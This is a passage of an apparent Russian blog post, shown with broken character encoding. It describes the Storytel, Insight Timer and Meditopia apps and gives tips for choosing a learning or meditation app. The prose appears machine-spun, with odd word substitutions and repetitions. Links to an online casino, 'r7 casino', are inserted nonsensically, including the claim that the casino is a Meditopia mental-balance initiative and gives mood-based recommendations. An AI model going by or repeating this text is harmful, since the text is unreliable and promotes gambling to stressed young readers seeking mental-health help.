Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Storytel насчитываСт мноТСство ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠΉ; ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 30 Π΄Π½Π΅ΠΉ выходят Π½ΠΎΠ²ΠΈΠ½ΠΊΠΈ соврСмСнной ΠΏΡ€ΠΎΠ·Ρ‹ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ классичСскими произвСдСниями XIX–XX Π²Π΅ΠΊΠΎΠ². Для ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… Π·Π°Ρ€ΡƒΠ±Π΅ΠΆΠ½Ρ‹Π΅ Ρ€Π΅Ρ‡ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Π° функция смСны срСди российским ΠΏΠΎΠ΄Π»ΠΈΠ½Π½ΠΈΠΊΠΎΠΌ/ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ СдинствСнным Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΠΈ нСпосрСдствСнно Π² процСссС аудирования.

А ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ Storytel прСдоставляСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ΄Π±ΠΎΡ€ΠΊΠΈ Π»ΡŽΠ±ΠΈΠΌΡ‹Ρ… ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠΉ ΠΏΠΎ Π΄ΡƒΡˆΠ΅Π²Π½ΠΎΠΌΡƒ ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ (“Для ΠΌΠΎΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ”, “На Π½ΠΎΡ‡ΡŒ”, “Для саморазвития”).

Π Π°Π·ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ самосознания

Insight Timer: созСрцаниС Π±Π΅Π· ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π΄Π°Ρ€ΠΎΠΌ

Insight Timer Π·Π°ΠΌΠ΅Ρ‚Π΅Π½ срСди ΠΊΠΎΠ½ΠΊΡƒΡ€Π΅Π½Ρ‚ΠΎΠ² Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠΉ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒΡŽ Π±Π΅Π· ΠΎΠΏΠ»Π°Ρ‚Ρ‹ возмоТности использования ΠΊΠΎ всСм ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ функциям Π±Π΅Π· Π°Π±ΠΎΠ½Π΅ΠΌΠ΅Π½Ρ‚Π° (Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Calm ΠΈΠ»ΠΈ Headspace). Π—Π΄Π΅ΡΡŒ собраны Π±ΠΎΠ»Π΅Π΅ 100 тысяч ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΉ ΠΎΡ‚ сСртифицированных Ρ‚Ρ€Π΅Π½Π΅Ρ€ΠΎΠ² со всСго Π·Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡˆΠ°Ρ€Π°; ΠΌΠ½ΠΎΠ³ΠΈΠ΅ занятия ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½Ρ‹ Π½Π° русский язык ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ российскими психологами.

Π’Ρ‹ ΠΈΠΌΠ΅Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΡŽ “Π½Π° Π΄Ρ‹Ρ…Π°Π½ΠΈΠ΅” ΠΏΠ΅Ρ€Π΅Π΄ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΠΉ встрСчСй ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡΠ½ΡƒΡŽ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒ расслаблСния послС тяТСлого дня обучСния/Ρ€Π°Π±ΠΎΡ‚Ρ‹; Π΅ΡΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ для ΠΌΠΎΠ»ΠΎΠ΄Π΅ΠΆΠΈ (“ΠžΡΠΎΠ·Π½Π°Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄ экзамСном”).

ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° Insight Timer Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ спСциалистами ΠΏΠΎ психологии российских школ ΠΊΠ°ΠΊ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ инструмСнт управлСния Ρ‚Ρ€Π΅Π²ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ Ρƒ ΡΡ‚Π°Ρ€ΡˆΠ΅ΠΊΠ»Π°ΡΡΠ½ΠΈΠΊΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄ Π•Π“Π­/ΠžΠ“Π­; Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ всСм ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠΌ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ со стрСссом соврСмСнного мСгаполиса ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π±Π΅Π· ΠΌΠ΅Π΄ΠΈΠΊΠ°ΠΌΠ΅Π½Ρ‚ΠΎΠ²!

Meditopia: ΠΎΡΠ½ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ тСрапия со напряТСниСм

Meditopia ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ классичСскиС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΈ (“сканированиС Ρ‚Π΅Π»Π°”, “осознанноС Π΄Ρ‹Ρ…Π°Π½ΠΈΠ΅”) c ΠΈΠ½ΠΈΡ†ΠΈΠ°Ρ‚ΠΈΠ²Π°ΠΌΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π΄ΡƒΡˆΠ΅Π²Π½ΠΎΠ³ΠΎ равновСсия, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ r7 casino, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ “Π‘ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ со страхом” ΠΈ “ΠŸΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒ”. Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Π½ Π½Π° Ρ€ΠΎΠ΄Π½ΠΎΠΉ языковой стандарт; ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Ρ‚Ρ€Π΅ΠΊΠΈ записаны российскими инструкторами-ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ‚ΠΎΡ€Π°ΠΌΠΈ.

ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ намСрСния сСмиднСвки (“Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ упраТнСния Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎ ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ 5 ΠΌΠΈΠ½ΡƒΡ‚ΠΎΠΊ”), ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° измСнСния самочувствия самочувствия Ρ‡Π΅Ρ€Π΅Π· встроСнный Π΄Π½Π΅Π²Π½ΠΈΠΊ эмоций; Π° Ρ‚Π°ΠΊΠΆΠ΅, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΎΠ½Π»Π°ΠΉΠ½ r7 casino, ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ послС прохоТдСния ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… опросников ΠΎ настроСнии/стрСссоустойчивости ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

Meditopia ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚Π΅ΠΌ ΠΌΠΎΠ»ΠΎΠ΄Ρ‹ΠΌ пСрсонам, ΠΊΡ‚ΠΎ испытываСт Π΄ΡƒΡˆΠ΅Π²Π½ΠΎΠ΅ Π²Ρ‹Π³ΠΎΡ€Π°Π½ΠΈΠ΅ ΠΈΠ·-Π·Π° ΡƒΡ‡Π΅Π±Ρ‹/Ρ‚Ρ€ΡƒΠ΄Π° Π»ΠΈΠ±ΠΎ просто Ρ…ΠΎΡ‡Π΅Ρ‚ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ свои чувства Π±Π΅Π· стСрСотипов ΠΎ “слабости”.

Как Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ ΠΏΠΎΠ΄ сСбя?

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΉ ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΊΠ° ΡƒΡ‡Π΅Π±Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΎΠ±ΡˆΠΈΡ€Π΅Π½; Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ Π·Π°Π±Π»ΡƒΠ΄ΠΈΡ‚ΡŒΡΡ срСди мноТСства Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² стоит ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ сразу Π½Π° нСсколько ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠ΅Π² Π²Ρ‹Π±ΠΎΡ€Π°:

  1. Π¦Π΅Π»ΠΈ: Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½ΠΎΠΉ язык? Π£ΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅? Π˜Π·ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ?
  2. Π¨Π°Π±Π»ΠΎΠ½: Π»ΡŽΠ±ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· Π²ΠΈΠ΄Π΅ΠΎΡƒΡ€ΠΎΠΊΠΈ? Или ΠΆΠ΅ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄?
  3. ЛСксика интСрфСйса: насколько ΠΊΡ€ΠΈΡ‚ΠΈΡ‡Π½ΠΎ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ российского языка?
  4. Π¦Π΅Π½Π°: настроСны Π»ΠΈ ΠΎΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Π·Π° ΠΏΡ€Π΅ΠΌΠΈΡƒΠΌ-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ? Или ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΈΡ‰Π΅Ρ‚Π΅ Π±Π΅Π·Π²ΠΎΠ·ΠΌΠ΅Π·Π΄Π½Ρ‹ΠΉ Π²Ρ‹Π±ΠΎΡ€?
  5. МнСния Π΄Ρ€ΡƒΠ·Π΅ΠΉ/сосСдСй: часто Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ истинных ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Ρ†Π΅Π½Π½Π΅Π΅ ΠΌΠ°Ρ€ΠΊΠ΅Ρ‚ΠΈΠ½Π³ΠΎΠ²Ρ‹Ρ… Ρ€Π΅Π²ΡŒΡŽ!

Если Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ – испытайтС Π΄Π°Ρ€ΠΎΠ²ΡƒΡŽ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ хотя Π±Ρ‹ нСдСлю подряд! Волько собствСнный ΠΎΠΏΡ‹Ρ‚ ΠΏΠΎΠ΄Π°Ρ€ΠΈΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ соотвСтствуСт Π²Π°ΡˆΠ΅ΠΌΡƒ ΡΡ‚ΠΈΠ»ΡŽ ΠΆΠΈΠ·Π½ΠΈ/обучСния Π»ΡƒΡ‡ΡˆΠ΅ всСго.

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΎΠ½Π»Π°ΠΉΠ½ r7 casino Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ Π±Π΅Π·Π³Ρ€Π°Π½ΠΈΡ‡Π½Ρ‹Π΅ возмоТности ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ роста Π²Π½Π΅ зависимости ΠΎΡ‚ ΠΆΠΈΠ·Π½Π΅Π½Π½ΠΎΠ³ΠΎ этапа ΠΈΠ»ΠΈ Ρ€ΠΎΠ΄Π° Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ! ОсновноС – ΠΎΡΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π°ΠΏΠΏΡ‹ лишь ΠΏΠΎΠΌΠΎΡ‰Π½ΠΈΠΊ вашСго успСха; всё ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ΅ обусловлСно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ постоянства занятий… И Ρ‡ΡƒΡ‚ΡŒ-Ρ‡ΡƒΡ‚ΡŒ вдохновСния всякий сутки!

Nx_17bc5749dcc8

Leave a Reply

Your email address will not be published. Required fields are marked *